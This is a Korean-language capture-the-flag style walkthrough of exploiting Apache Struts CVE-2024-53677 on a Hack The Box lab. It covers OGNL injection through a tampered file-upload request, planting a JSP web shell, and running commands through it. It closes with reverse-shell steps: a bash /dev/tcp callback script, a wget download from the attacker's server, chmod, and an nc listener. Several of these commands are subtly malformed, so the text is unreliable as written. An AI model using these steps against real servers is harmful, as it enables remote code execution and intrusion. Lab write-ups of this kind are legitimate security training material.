파일 업로드 조작을 통한 Apache Struts CVE-2024-53677 RCE 악용에 대한 단계별 안내로, OGNL 인젝션, 페이로드 임베딩 및 리버스 셸 설정을 포함합니다.
CVE-2024-53677은 Apache Struts 2.0.0부터 6.4.0 이전 버전에 영향을 미치는 취약점입니다. ⚠️ 이 취약점은 Hack The Box 랩에서 악용되었습니다.
Apache Struts의 파일 업로드 로직에는 결함이 있습니다. 공격자는 파일 업로드 파라미터를 조작하여 경로 탐색을 가능하게 할 수 있으며, 특정 상황에서는 원격 코드 실행(RCE)을 수행하는 데 사용할 수 있는 악성 파일을 업로드할 수 있습니다. 🔗 참조: NIST NVD 항목
pom.xml에서 Apache Struts 6.3.0.1 확인📸 pom.xml 노출:
추가된 파라미터는 Apache Struts가 입력 데이터를 처리하는 데 사용하는 OGNL(Object-Graph Navigation Language)을 악용합니다. FileUploadInterceptor는 실제 PNG 이미지를 처리하기 전에 이 파라미터를 처리하므로, 공격자가 요청을 조작하고 잠재적으로 임의 코드를 실행할 수 있습니다.
이 취약점을 악용하기 위해 BurpSuite와 Repeater 기능을 사용하여 전송하기 전에 패킷을 변조합니다. 아래에는 수정되지 않은 요청이 있습니다.
우리가 직면한 문제는 사이트가 [JPG, JPEG, PNG, GIF] 외의 파일 유형을 차단하고 /uploads 디렉터리의 모든 파일은 실행할 수 없다는 점입니다. 이러한 문제를 우회하기 위해 먼저 다른 파라미터를 추가합니다.
수정된 파라미터를 추가한 후 서버 응답은 파일이 성공적으로 업로드되었음을 확인합니다. 그러나 파일 경로가 일반적인 업로드 디렉터리와 다르다는 것을 확인할 수 있습니다.
다음으로, 이미지 데이터 바로 아래이자 삽입된 파라미터 바로 앞에 페이로드를 추가하여 임베드합니다. 셸 페이로드는 🔗 참조: shell.jsp에서 얻을 수 있습니다. 또한 중요한 세부 사항 하나는 요청에 소문자 upload 대신 대문자 U가 포함된 "Upload"가 필요하다는 점입니다. 이는 🔗 참조: exploit.py에서 확인된 익스플로잇 구조를 따릅니다.
이러한 수정을 적용한 후 요청을 전송합니다. 서버는 유사하게 응답하며 성공적인 업로드를 확인하고 조정된 파일 경로를 반영합니다.
이제 다음 URL로 이동하면 업로드된 셸과 상호 작용할 수 있습니다.
ip/shelll.jsp?action=cmd&cmd=id

이 단계에서는 로컬에서 호스팅되는 웹 서버를 사용하여 리버스 셸을 구축할 수 있습니다. 간단한 방법은 Python을 사용하는 것입니다: python3 http.server -m 3004
다음으로, 기본 셸 스크립트(예: shell.sh)를 생성합니다. cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh
wget을 사용하여 다운로드합니다. wget http://ip_address/filename -O /tmp
다운로드 후 실행 권한을 부여합니다. chmod +777 /tmp/filename
그런 다음 nc(넷캣)을 사용하여 리버스 셸을 수신 대기합니다. nc -lvnp $PORT
마지막으로 실행합니다. ./filename